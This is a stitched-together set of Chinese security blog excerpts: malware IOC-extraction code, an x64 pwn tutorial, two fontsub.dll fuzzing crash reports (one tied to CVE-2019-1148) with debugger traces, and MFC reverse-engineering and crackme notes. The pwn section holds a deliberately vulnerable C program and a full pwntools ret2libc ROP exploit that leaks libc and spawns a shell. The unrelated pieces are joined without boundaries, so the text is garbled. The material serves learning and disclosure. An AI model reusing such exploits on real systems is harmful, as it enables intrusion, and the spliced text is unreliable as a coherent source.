if (it_xrefs->second.size() >= 160 && it_xrefs->second.size() <= 200)
for (std::vector<uint32_t>::iterator it_count=it_xrefs->second.begin(); it_count != it_xrefs->second.end(); it_count++)
{
// 数据一般使用全局变量存储
if (*it_count > 0x40000)
{
uint32_t raw_data_address = func_get_raw_address(_handle->pe_handle, *it_count);
std::vector<uint32_t> encode_data;
// 取得所有加密数据
if (0 == func_get_encode_data(_handle->buffer, _handle->size, raw_data_address, encode_data))
{
std::string decode_string = func_decode_string_v1(encode_data);
// 只过滤http
if (decode_string.find("http://") != std::string::npos && decode_string.size() > 7)
{
std::cout << "domain: "<< decode_string << std::endl;
_handle->domains.push_back(decode_string);
}
encode_data.clear();
}
}
}
}
goto finish;
}
ret = FINAL_CODE;
finish:
return ret;
}
结果大概是这样的
这个是个人针对特定家族的一种提取ioc
的方法,不具有普适作用,但是如果真是遇到静态配置解密一筹莫展时,并且很有可能在函数调用数量上有一定规则的话,不妨考虑使用该方法。至少目前我能够想到的就这一种方法
新手学习了x86的下的相关pwn
,进而学习一下x64
环境下的pwn
,个人感觉还是很有必要的,完全个人学习,中间遇到很多的各种坑,这里只是简单记录一下
Linux bins-virtual-machine 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
pwntools
gef
用到的level.c
include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(1, "Hello, World\n", 13);
vulnerable_function();
}
生成可执行文件
gcc -fno-stack-protector -o level5 level.c
生成的文件
➜ ~ file level5
level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=57fe0599820f34f5a59a994a24dfbf28e5e82cf5, not stripped
checksec
gef> checksec
[+] checksec for '/root/level5'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
使用的exp
rom pwn import *
import sys
import os
import time
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
class Pwn(object):
def __init__(self, binary_file=None):
if binary_file:
self.binary_file = binary_file
self.elf = ELF(binary_file)
self.libc = self.elf.libc
self.write_plt = self.elf.symbols['write']
self.write_got = self.elf.got['write']
self.vul_addr = 0x400566
self.main = 0x400587
def get_overflow_position(self):
io = process(self.binary_file)
io.recvline()
io.send(cyclic(150))
io.recvall()
if os.path.isfile('./core'):
core = Core('./core')
if context.arch == 'amd64':
self.rip = cyclic_find(core.u32(core.rsp))
if context.arch == 'i386':
self.eip = cyclic_find(core.u32(core.eip))
def leak(self):
pass
def get_write_got(self):
"""
stack:
+----------+
| pop_ret |
+----------+
| rbx | <== 0
+----------+
| rbp | <== 1
+----------+
| r12 | <== write_got
+----------+
| r13 | <== rdx/arg2
+----------+
| r14 | <== rsi/arg1
+----------+
| r15 | <== rdi/arg0
+----------+
"""
self.io = process(self.binary_file)
self.io.recvline()
# gdb.attach(self.io, 'b vulnerable_function')
pop_mul_ret = 0x40061a
call_addr = 0x400600
payload1 = 'a' * self.rip
payload1 += p64(pop_mul_ret) + p64(0) + p64(1) + p64(self.write_got)
payload1 += p64(8) + p64(self.write_got) + p64(1)
payload1 += p64(call_addr)
payload1 += 'a' * 56
payload1 += p64(self.main)
self.io.send(payload1)
self.write_got_addr = self.io.recvn(8)
print 'Final Recive Data:', self.write_got_addr
print 'write_got_addr:', hex(u64(self.write_got_addr))
self.libc.address = u64(self.write_got_addr) - self.libc.symbols['write']
print 'lib.address:', hex(self.libc.address)
def get_shell(self):
"""
stack:
+-------------+
| pop_rdi_ret |
+-------------+
| bin_sh |
+-------------+
| system_addr |
+-------------+
"""
system_addr = self.libc.symbols['system']
bin_sh = self.libc.search('sh\x00').next()
pop_rdi_ret = 0x400623
payload2 = 'a' * self.rip
payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
self.io.send(payload2)
self.io.interactive()
def main():
pwn = Pwn('./level5')
pwn.get_overflow_position()
pwn.get_write_got()
pwn.get_shell()
if __name__ == "__main__":
main()
我的exp
是自己的环境和调试的结果,这个和蒸米的有很多的不同,因为用他的payload
即使变了自己的地址,也没法使用
结果
这里重点说一下payload
和payload2
的构建
正常我是使用ROP
模块自动构建的,但是这里由于程序比较小,找不到write
写之后平衡栈的汇编代码块,只能自己一步一步构建,这里使用蒸米所说的通用gadgets
函数__libc_csu_init
首先执行1
,更改rbx r12 r13 r14 r15
,栈类似于这样
+----------+
| pop_ret |
+----------+
| rbx | <== 0
+----------+
| rbp | <== 1
+----------+
| r12 | <== write_got
+----------+
| r13 | <== rdx/arg2
+----------+
| r14 | <== rsi/arg1
+----------+
| r15 | <== rdi/arg0
+----------+
之后通过指令跳转到1
执行,执行完1
弹出main
通过payload1
我们得到了write_got_addr
,进而可以得到libc.address
,之后再跳转即可执行system('/bin/sh')
其实可以更加简单,直接都利用ROP
模块完成
def get_shell(self):
bin_sh = self.libc.search('sh\x00').next()
rop = ROP(self.libc)
rop.system(bin_sh)
self.io.send(fit({self.rip: rop.chain()}))
self.io.interactive()
碰到了很多坑
gdb.attach
很有可能会遇到各种失败或者错误,导致无法调试,个人目前的经验主要是由于payload
构建不正确,比如数据不够长啊,格式错误等等前段时间fuzz出来的,被PJ0大神撞了,大神被赋予的CVE编号:CVE-2019-1148
Please excuse my poor English. I'm not a native speaker. I will do my best to describe this bug.
I tested on sytem
windows 10 professional
v1903 x64 bit
fontsub.dll version: 10.0.18362.239
The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.
The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. I have tested CreateFontPackage
with a fuzzer.
Please reproduce with page heap disabled.
run with a specific ttf file, then crash
0:000> g
ModLoad: 00007ffe`d90d0000 00007ffe`d916e000 C:\WINDOWS\System32\msvcrt.dll
ModLoad: 00007ffe`d2eb0000 00007ffe`d2ed2000 C:\WINDOWS\system32\fontsub.dll
(39c.32e8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 6D7:0
fontsub!GetGlyphIdx+0x97:
00007ffe`d2ebc5d3 0fb70447 movzx eax,word ptr [rdi+rax*2] ds:0000019c`f43ffffa=????
0:000> kb
# RetAddr : Args to Child : Call Site
00 00007ffe`d2ec397c : 0000019c`f4591470 00000090`d99ef8a0 0000019c`f4595bd0 00000000`00000005 : fontsub!GetGlyphIdx+0x97
01 00007ffe`d2eb712c : 0000019c`f4591460 0000019c`f4591460 ffffffff`ffffffff 00000090`d99efa78 : fontsub!MakeKeepGlyphList+0x478
02 00007ffe`d2eb6f89 : 0000019c`f4591460 00000090`d99efc41 00000000`00000001 00000000`00000001 : fontsub!CreateDeltaTTFEx+0x168
03 00007ffe`d2eb13fa : 00000000`00000000 00000000`00000000 00004f9e`ffa0166d 00000000`00000000 : fontsub!CreateDeltaTTF+0x2c9
04 00007ff7`804811a2 : 00000000`00000000 00000000`00000000 0000019c`f3fc5710 0000019c`f3fc0d00 : fontsub!CreateFontPackage+0x15a
05 00007ff7`804812d4 : 00000000`00000002 9c000000`00000000 00000000`00000000 00007ff7`80481bad : FuzzCreateFontPackage!JustTestCreate+0x1a2
crash in fontsub!GetGlyphIdx
check
0:000> ? rdi
Evaluate expression: 1773624361088 = 0000019c`f4400080
0:000> ? rax*2
Evaluate expression: -134 = ffffffff`ffffff7a
0:000> dd rdi+rax*2
0000019c`f43ffffa ???????? ???????? 00000000 71720000
0000019c`f440000a 8438c4db ffee0101 0002ffee 01200000
0000019c`f440001a 019cf459 00180000 019cf459 00000000
0000019c`f440002a 019cf459 00000000 019cf440 00ff0000
0000019c`f440003a 00000000 00700000 019cf440 f0000000
0000019c`f440004a 019cf44f 00dd0000 00010000 00000000
0000019c`f440005a 00000000 1fe00000 019cf442 1fe00000
0000019c`f440006a 019cf442 00000000 00000000 51740000
rdi+rax+2
is ???????? ????????
what cause this?
0:000> !heap -h
Failed to read heap keySEGMENT HEAP ERROR: failed to initialize the extention
Index Address Name Debugging options enabled
1: 19cf3fb0000
Segment at 0000019cf3fb0000 to 0000019cf40af000 (00089000 bytes committed)
2: 19cf3f20000
Segment at 0000019cf3f20000 to 0000019cf3f30000 (00001000 bytes committed)
3: 19cf4590000
Segment at 0000019cf4590000 to 0000019cf459f000 (00007000 bytes committed)
Segment at 0000019cf4400000 to 0000019cf44ff000 (00022000 bytes committed)
0:000> !heap -p -a rdi
address 0000019cf4400080 found in
_HEAP @ 19cf4590000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0000019cf4400070 2001 0000 [00] 0000019cf4400080 1fffe - (busy)
0:000> ? rdi+rax*2
Evaluate expression: 1773624360954 = 0000019c`f43ffffa
so rdi+rax*2
read out of bound.
how to fix?
0007ffe`d2ebc5b9 410fb74006 movzx eax, word ptr [r8+6]
00007ffe`d2ebc5be d1e8 shr eax, 1
00007ffe`d2ebc5c0 03c8 add ecx, eax
00007ffe`d2ebc5c2 0fb7c3 movzx eax, bx
00007ffe`d2ebc5c5 03c8 add ecx, eax
00007ffe`d2ebc5c7 0fb7442470 movzx eax, word ptr [rsp+70h]
00007ffe`d2ebc5cc 3bc8 cmp ecx, eax
00007ffe`d2ebc5ce 7d13 jge fontsub!GetGlyphIdx+0xa7 (00007ffe`d2ebc5e3)
00007ffe`d2ebc5d0 4863c1 movsxd rax, ecx
00007ffe`d2ebc5d3 0fb70447 movzx eax, word ptr [rdi+rax*2] ds:0000019c`f43ffffa=????
r8
from call cs:__imp_bsearch
, then r8+6
move to eax
, eax do some calculation
eax
compare with ecx
, code check its high limit, but code does not check low limit.
00007ffe`d2ebc5cc 3bc8 cmp ecx, eax
so code should check eax
low limit, because you can not be sure eax
always is positive.
using a specific ttf file, it may cause some information disclosure.
bp CallWindowProcA [esp+8]==0x7068c&& [esp+0c]==202
用MFC句柄定位工具定位下按钮处理ID
AFX_MSGMAP_ENTRY AFX_MSGMAP
GetMessageMap
CReverseMFCDlg类继承自CDialog<-CWnd<-CCmdtarget;
CReverseMFC类继承自CWinApp<-CWinthread<-CCmdtarget
int AFXAPI AfxWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine, int nCmdShow)
{
ASSERT(hPrevInstance == NULL);
int nReturnCode = -1;
CWinThread *pThread = AfxGetThread();
CWinApp *pApp = AfxGetApp();
// AFX internal initialization
if (!AfxWinInit(hInstance, hPrevInstance, lpCmdLine, nCmdShow))
goto InitFailure;
// App global initializations (rare)
if (pApp != NULL && !pApp->InitApplication())
goto InitFailure;
// Perform specific initializations
if (!pThread->InitInstance())
{
if (pThread->m_pMainWnd != NULL)
{
TRACE(traceAppMsg, 0, "Warning: Destroying non-NULL m_pMainWnd\n");
pThread->m_pMainWnd->DestroyWindow();
}
nReturnCode = pThread->ExitInstance();
goto InitFailure;
}
nReturnCode = pThread->Run();
InitFailure:
AfxWinTerm();
return nReturnCode;
}
struct AFX_MSGMAP{ //消息地图节点结构体
UINT (*pfnGetBaseMap)();//指向另外一个消息地图节点
UINT lpEntries;//指向消息结构体数组
};
struct AFX_MSGMAP_ENTRY{//消息结构体
UINT nMessage; //Windows消息ID
UINT nCode;//控制消息的通知码
UINT nID;//Windows控件ID
UINT nLastID;//如果是一定范围的消息被映射,则nLastID指定其范围
UINT nSig;//消息的动作标识
void (*pfn)();//消息的处理函数
};
一个按钮点击事件的过程如下:
CWinThread::PumpMessage -> CWnd::PretranslateMessage ->
CWnd::WWalkPreTranslateMessate -> CD1Dlg::PreTranslateMessage ->
CDialog::PreTranslateMessage -> CWnd::PreTranslateInput ->
CWnd::IsDialogMessageA -> USER32内核 - > AfxWndProcBase -> AfxWndProc ->
AfxCallWndProc -> CWnd::WindowProc -> CWnd::OnWndMsg -> CWnd::OnCommand ->
CDialog::OnCmdMsg -> CCmdTarget::OnCmdMsg -> _AfxDispatchCmdMsg ->
CD1Dlg::OnButton1()
BEGIN_MESSAGE_MAP(CtestDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDOK, &CtestDlg::OnBnClickedOk)
END_MESSAGE_MAP()
1)Windows将用户程序装入内存
2)构造全局对象theApp,在程序被装入时,所有全局对象都会立刻被创建。
3)Windows调用全局函数WinMain,它是类库的惟一实例
4)WinMain里面只调用函数AfxWinMain
5)AfxWinMain执行AfxWininit,调用AfxinitThred,接着
6)AfxWinMain执行InitApplication,然后执行Initinstance,Initinstance是CWinApp的虚函数,在此改写。
7)InitInstance函数里面启动文档的装入以及主要框架和视图显示处理过程。
8)在这里new 一个CMyFrameWnd ,CMyFrameWnd构造函数调用Create产生主窗口
9)InitInstance 执行ShowWindow,UpdateWindow,发出WM_PAINT
10)WinMain调用theApp的Run函数,它启动窗口消息和命令消息的传递处理过程。
11)单击file/close,则发出WM_CLOSE
12)CMainFrame交默认处理
13)调用::DestroyWindow发出WM_DESTROY
14)默认处理调用::postQuitMessage 发出WM_QUIT
15)CWinapp::Run收到WM_QUIT结束内部循环,调用ExitInsance(若CCExcmpleApp改写 Exitinstance,则调用CCExcmpleApp::ExitInstance;
16)ExitInstance函数负责完成应用程序结束之前的清除工作。
17)ExitInstance函数返回时,Run函数也返回了,MFC完成了一些清除工作,Windows终止应用程序
18)回到AfxWinMain,执行AfxWinTerm,程序结束!!
#define DECLARE_MESSAGE_MAP()
protected:
static const AFX_MSGMAP* PASCAL GetThisMessageMap(); // 获得当前类和基类的映射信息
virtual const AFX_MSGMAP* GetMessageMap() const; // 实际上调用了上一个函数
#define BEGIN_MESSAGE_MAP(theClass, baseClass) // 消息映射开始
PTM_WARNING_DISABLE // pragma宏的处理,无关系
const AFX_MSGMAP* theClass::GetMessageMap() const // 获得自身和基类的函数映射表
{ return GetThisMessageMap(); } // 入口地址
const AFX_MSGMAP* PASCAL theClass::GetThisMessageMap() // 获得自身函数映射表入口地址
{
typedef theClass ThisClass; // 当前类
typedef baseClass TheBaseClass; // 基类
static const AFX_MSGMAP_ENTRY _messageEntries[] = // 当前类信息实体数组,记录了
{ // 该类所有的消息实体
// 该行之所以空出来,是因为所有的消息都要写在这里
#define END_MESSAGE_MAP() / // 映射消息的结束,也是消息实
{0, 0, 0, 0, AfxSig_end, (AFX_PMSG)0 } // 体的最后一个元素,标志结束
};
static const AFX_MSGMAP messageMap = // 消息映射变量(包含基类)
{ &TheBaseClass::GetThisMessageMap, &_messageEntries[0] };
return &messageMap; // 返回消息变量
}
PTM_WARNING_RESTORE // pragma宏的处理,无关系
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0ACh] ; pApp->InitApplication
对应的类操作
CWinApp *pApp = AfxGetApp();
// App global initializations (rare)
pApp->InitApplication()
类中的数据布局
+———————————————+
|vptr虚表指针 |
|基类成员 |
|类成员 |
+———————————————+
CWinApp.InitInstance
| —> dlg = new CAppDialog() => 含有MessageMap
一般程序都会把初始化放到CXXXApp::InitInstance和CXXXApp::IInitApplication 这两个函数,而CXXXApp则继承了CWinApp,并在CXXXApp::InitInstance 中调用父类的CWinApp::InitInstance,在CXXXApp:: IInitApplication 中调用父类的CWinApp:: IInitApplication。所以逆向的一步,则是找到CWinApp::InitInstance和CWinApp:: IInitApplication这两个函数,然后通过交叉引用注释,查找到CXXXApp::InitInstance和CWinApp:: IInitApplication函数所在地址。
寻找GetMessageMap的方法:
找到AfxWinMain,在里面有AfxWinInit函数,函数的特征特别的明显
push [ebp+nShowCmd]
mov edi, [eax+4] ; pApp 实例化的CWinApp
push [ebp+lpCmdLine]
push [ebp+hPrevInstance]
push [ebp+hInstance]
call AfxWinInit
test eax, eax
jz short loc_440ECD
test edi, edi
jz short loc_440EA3
mov eax, [edi] ; edi存放的是打开的控件的实例化指针,edi的值存放的是虚函数指针,即eax值
mov ecx, edi
call dword ptr [eax+0ACh] ; pApp->InitApplication
具体的GetMessageMap
虚函数的位置,还不能确定。。。。
GetMessageMap
虚函数返回的就是Afx_MSGMAP
结构的地址
signed int __thiscall sub_406FC3(_DWORD *this)
{
_DWORD *v1; // ebx
_WORD *v2; // eax
int v3; // esi
int i; // ecx
unsigned int v5; // kr00_4
signed int result; // eax
signed int j; // [esp+24h] [ebp-D9F8h]
int v8; // [esp+28h] [ebp-D9F4h]
char v9; // [esp+D9A8h] [ebp-74h]
char v10; // [esp+D9D0h] [ebp-4Ch]
__int16 v11; // [esp+D9E2h] [ebp-3Ah]
char v12[28]; // [esp+D9E4h] [ebp-38h]
CPPEH_RECORD ms_exc; // [esp+DA04h] [ebp-18h]
v1 = this;
sub_407307(&v8);
strcpy(&v10, "KanXueCrackMe2017");
v11 = 0;
sub_4084A3(&v8, &v10);
v2 = (_WORD *)v1[38];
v3 = *((_DWORD *)v2 - 3);
for ( i = 0; i < v3; ++v2 )
{
if ( i < 0 || i > v3 )
sub_401540(-2147024809);
v12[i++] = *v2;
}
v12[i] = 0;
ms_exc.registration.TryLevel = 0;
v5 = strlen(v12);
for ( j = 0; j < 1000; ++j )
{
base64_encode_j((int)&v9, (int)v12, v5);
memcpy_0(v12, &v9, v5);
}
if ( strcmp("Vm0wd2QyUXlVWGw==", &v9) )
return 0;
result = 1;
ms_exc.registration.TryLevel = -2;
return result;
}
DDoS 微软说目前不打算修,没准将来会修,那就贴出来吧
Please excuse my poor English. I'm not a native speaker. I will do my best to describe this bug.
I test this on sytem
windows 10 professional
v1903 x64 bit
The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.
The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. I have tested CreateFontPackage
with a fuzzer.
when I use a specific ttf file with CreateFontPackage
, it crashed
0:000> g
ModLoad: 00007ffb`a5190000 00007ffb`a51b2000 C:\WINDOWS\system32\fontsub.dll
ModLoad: 00007ffb`b44d0000 00007ffb`b456e000 C:\WINDOWS\System32\msvcrt.dll
(4dec.5240): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
fontsub!ReadWord+0x1c:
00007ffb`a51a953c e8cbfeffff call fontsub!CheckInOffset (00007ffb`a51a940c)
check stack call
0:000> kb
# RetAddr : Args to Child : Call Site
00 00007ffb`a51a98fe : 00000000`00000358 00000000`00000000 00000000`00000000 00007ffb`a51a9541 : fontsub!ReadWord+0x1c
01 00007ffb`a519cf56 : 00000097`c7eff318 00000097`c7e04141 00000000`00000000 00000000`00000000 : fontsub!ReadGeneric+0x116
02 00007ffb`a519cfe3 : 00000000`00000000 00000097`c7e041e8 00000000`00000000 00000000`00000000 : fontsub!GetGlyphHeader+0x102
03 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04211 000001bb`fd5b2718 00000000`00000000 : fontsub!GetComponentGlyphList+0x77
04 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e042e1 000001bb`fd5b2716 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
05 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e043b1 000001bb`fd5b2714 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
06 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04481 000001bb`fd5b2712 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
07 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04551 000001bb`fd5b2710 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
08 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04621 000001bb`fd5b270e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
09 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e046f1 000001bb`fd5b270c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e047c1 000001bb`fd5b270a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04891 000001bb`fd5b2708 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04961 000001bb`fd5b2706 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04a31 000001bb`fd5b2704 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04b01 000001bb`fd5b2702 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04bd1 000001bb`fd5b2700 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
10 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04ca1 000001bb`fd5b26fe 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
11 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04d71 000001bb`fd5b26fc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
12 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04e41 000001bb`fd5b26fa 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
13 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04f11 000001bb`fd5b26f8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
14 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04fe1 000001bb`fd5b26f6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
15 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e050b1 000001bb`fd5b26f4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
16 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05181 000001bb`fd5b26f2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
17 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05251 000001bb`fd5b26f0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
18 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05321 000001bb`fd5b26ee 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
19 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e053f1 000001bb`fd5b26ec 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e054c1 000001bb`fd5b26ea 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05591 000001bb`fd5b26e8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05661 000001bb`fd5b26e6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05731 000001bb`fd5b26e4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05801 000001bb`fd5b26e2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e058d1 000001bb`fd5b26e0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
20 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e059a1 000001bb`fd5b26de 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
21 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05a71 000001bb`fd5b26dc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
22 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05b41 000001bb`fd5b26da 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
23 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05c11 000001bb`fd5b26d8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
24 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05ce1 000001bb`fd5b26d6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
25 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05db1 000001bb`fd5b26d4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
26 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05e81 000001bb`fd5b26d2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
27 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05f51 000001bb`fd5b26d0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
28 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06021 000001bb`fd5b26ce 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
29 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e060f1 000001bb`fd5b26cc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e061c1 000001bb`fd5b26ca 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06291 000001bb`fd5b26c8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06361 000001bb`fd5b26c6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06431 000001bb`fd5b26c4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06501 000001bb`fd5b26c2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e065d1 000001bb`fd5b26c0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
30 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e066a1 000001bb`fd5b26be 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
31 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06771 000001bb`fd5b26bc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
32 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06841 000001bb`fd5b26ba 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
33 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06911 000001bb`fd5b26b8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
34 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e069e1 000001bb`fd5b26b6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
35 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06ab1 000001bb`fd5b26b4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
36 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06b81 000001bb`fd5b26b2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
37 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06c51 000001bb`fd5b26b0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
38 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06d21 000001bb`fd5b26ae 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
39 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06df1 000001bb`fd5b26ac 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06ec1 000001bb`fd5b26aa 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06f91 000001bb`fd5b26a8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07061 000001bb`fd5b26a6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07131 000001bb`fd5b26a4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07201 000001bb`fd5b26a2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e072d1 000001bb`fd5b26a0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
40 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e073a1 000001bb`fd5b269e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
41 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07471 000001bb`fd5b269c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
42 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07541 000001bb`fd5b269a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
43 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07611 000001bb`fd5b2698 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
44 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e076e1 000001bb`fd5b2696 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
45 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e077b1 000001bb`fd5b2694 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
46 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07881 000001bb`fd5b2692 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
47 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07951 000001bb`fd5b2690 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
